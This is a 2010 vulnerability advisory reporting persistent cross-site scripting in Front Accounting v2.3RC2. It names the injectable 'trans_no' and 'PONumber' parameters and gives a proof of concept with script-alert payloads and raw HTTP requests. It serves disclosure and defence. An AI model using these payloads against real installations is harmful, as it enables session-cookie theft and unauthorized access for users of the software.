Advisory Name: Multiple Persistent Cross-Site Scripting (XSS) in Front Accounting Internal Cybsec Advisory Id: 2010-1001-Multiple Persistent XSSs in Front Accounting Vulnerability Class: Permanent Cross-Site Scripting (XSS) Release Date: 10/29/2010 Affected Applications: Front Accounting v2.3RC2; other versions may also be affected. Affected Platforms: Any running Front Accounting v2.3RC2 Local / Remote: Remote Severity: High - CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P) Researcher: Juan Manuel Garcia Vendor Status: Acknowedged Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf Vulnerability Description: Multiple Persistent Cross-Site vulnerabilities were found in Front Accounting v2.3RC2, because the application fails to sanitize the response before it is returned to the user. This can be exploited to execute arbitrary script and HTML code in a user's browser session. This may allow the attacker to steal the user's cookie and to launch further attacks. The parameter 'trans_no' in /purchasing/allocations/supplier_allocate.php is not properly sanitized. The parameter 'PONumber' in /purchasing/po_receive_items.php is not properly sanitized. Other parameters might also be affected. Proof of Concept: * The parameter 'trans_no' in the POST request has been set to: <script>alert(165602)</script> GET /purchasing/allocations/supplier_allocate.php?trans_type=1 HTTP/1.0 Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: next.frontaccounting.eu Referer: http://next.frontaccounting.eu/purchasing/allocations/supplier_allocation_main.php * The parameter 'PONumber' in the POST request has been set to: <script>alert(188214)</script> GET /purchasing/po_receive_items.php?PONumber= HTTP/1.0 Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: next.frontaccounting.eu Referer: http://next.frontaccounting.eu/purchasing/inquiry/po_search.php Impact: An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.
